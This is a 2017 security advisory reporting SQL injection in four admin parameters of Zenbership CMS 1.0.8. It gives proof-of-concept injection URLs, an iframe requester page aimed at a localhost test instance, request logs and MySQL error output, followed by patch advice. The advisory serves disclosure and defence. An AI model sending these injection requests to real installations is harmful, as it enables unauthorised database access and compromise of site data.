Zenbership CMS 1.0.8 SQL Injection

Zenbership CMS version 1.0.8 suffers from remote SQL injection vulnerabilities.


MD5 | d455090d1c79b0785dde4186f3dbc4c1

Document Title:
===============
Zenbership 1.0.8 CMS - Multiple SQL Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2073


Release Date:
=============
2017-06-09


Vulnerability Laboratory ID (VL-ID):
====================================
2073


Common Vulnerability Scoring System:
====================================
5.3


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
1.000a! - 2.000a!


Product & Service Introduction:
===============================
Zenbership is a free & open source membership management platform for online businesses facilitating the acquisition, monetization,
and retention of members. The software is designed to act as a central hub for your employees, combining multiple tools into one
solution, and automating tasks like member registration, renewals, and marketing. Your members will also benefit from a branded
self-service portal to update data, manage subscriptions, get news, and view event registrations.

(Copy of the Homepage: http://www.zenbership.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple sql-injection vulnerabilities in the official
Zenbership v1.0.8 ecommerce crm content management system web-application.


Vulnerability Disclosure Timeline:
==================================
2017-06-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Castlamp
Product: Zenbership - Content Management System (Web-Application) 1.0.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
The sql-injection vulnerability allows remote attackers or privileged user accounts to execute malicious sql commands to
compromise the web-application and database management system.

The vulnerabilities are located in the `error_codes`, `subscriptions`, `widget` and `logins` parameters of the `./admin/index.php`
file. Attackers with privileged web-application user accounts are able to execute malicious sql commands via GET method request.
The requested content of the files is not sanitized via parse or escape.

The security risk of the vulnerabilities are estimated as medium with a common vulnerability scoring system count of 5.3.
Exploitation of the sql-injection vulnerability requires a privileged web-application user account without user interaction.
Successful exploitation of the web vulnerability results in web-application or database management system compromise.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] error_codes
[+] subscriptions
[+] widget
[+] logins


Proof of Concept (PoC):
=======================
The sql-injection vulnerabilities can be exploited by remote attackers without user interaction and with privileged user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
./Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes'[SQL-INJECTION VULNERABILITY!]--
./Zenbership/admin/index.php?l=subscriptions&filters[]=1||status||eq||ppSD_subscriptions%27[SQL-INJECTION VULNERABILITY!]--
./Zenbership/admin/index.php?l=widgets&filters[]=code||type||eq||ppSD_widgets%27[SQL-INJECTION VULNERABILITY!]--
./Zenbership/admin/index.php?l=logins&filters[]=2017-04-09||date||gt||ppSD_logins%27[SQL-INJECTION VULNERABILITY!]--


PoC: Exploitation
<html>
<head><body>
<title>Zenbership SQL-Injection Proof of Concept Requester</title>
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes'[SQL-INJECTION]-->
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=subscriptions&filters[]=1||status||eq||ppSD_subscriptions%27[SQL-INJECTION]-->
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=widgets&filters[]=code||type||eq||ppSD_widgets%27[SQL-INJECTION]-->
<iframe=https://zenbership.localhost:8080/Zenbership/admin/index.php?l=logins&filters[]=2017-04-09||date||gt||ppSD_logins%27[SQL-INJECTION]-->
</body></head>
</html>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://zenbership.localhost:8080/Zenbership/admin/index.php?l=error_codes&filters[]=I||code||like||ppSD_error_codes%27[SQL-INJECTION]--
Mime Type[text/html]
Request Header:
Host[zenbership.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Cookie[zen_admin_ses=a29f98519c3933c15c0b4cc738c4a769-0c7540eb7e65b553ec1ba6b20de79608-7a74fa3cece79a20faa4feaea64eeed6; zen_cart=NQR-2156237999]
DNT[1]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Date[Tue, 09 May 2017 18:26:51 GMT]
Server[Apache/2.2.31 (Unix)]
X-Powered-By[PHP/5.3.29]
Content-Length[360]
Connection[close]
Content-Type[text/html; charset=UTF-8]


--- SQL Error Exception Log ---
Invalid query (SELECT `value` FROM `ppSD_options` WHERE `id`=? LIMIT 1): 42S02---1146---Table 'soft_zenber.ppSD_options' doesn't exist time_change
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_error_codes` WHERE ppSD_error_codes'.code LIKE '%I%' ):
42000---1064---You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''.code LIKE '%I%'' at line 1
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_subscriptions` WHERE ppSD_subscriptions'.status='1' ):
42000---1064---You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''.status='1'' at line 1
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_cart_sessions` LEFT JOIN `ppSD_cart_session_totals` ON
ppSD_cart_sessions.id=ppSD_cart_session_totals.id LEFT JOIN `ppSD_shipping` ON ppSD_cart_sessions.id=ppSD_shipping.cart_session
LEFT JOIN `ppSD_cart_billing` ON ppSD_cart_sessions.id=ppSD_cart_billing.id WHERE ppSD_cart_sessions'.status='2' ):
42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ''.status='2'' at line 1
---
Invalid query ( SELECT COUNT(*) FROM `ppSD_logins` WHERE ppSD_logins-1'.date>'2017-04-09' ):
42000---1064---You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ''.date>'2017-04-09'' at line 1
---
Invalid query (unkown column)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near 20


Reference(s):
https://zenbership.localhost:8080/
https://zenbership.localhost:8080/Zenbership/
https://zenbership.localhost:8080/Zenbership/admin/
https://zenbership.localhost:8080/Zenbership/admin/index.php


Solution - Fix & Patch:
=======================
The sql-injection can be patched by usage of a prepared statement.
Disallow to show the error logs.
Escape the parameter values to prevent exploitation of the vulnerabilities.


Security Risk:
==============
The security risk of the remote sql-injection vulnerabilities in the web-application is estimated as medium (CVSS 5.3).


Credits & Authors:
==================
N/A - Anonymous


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com


Related Posts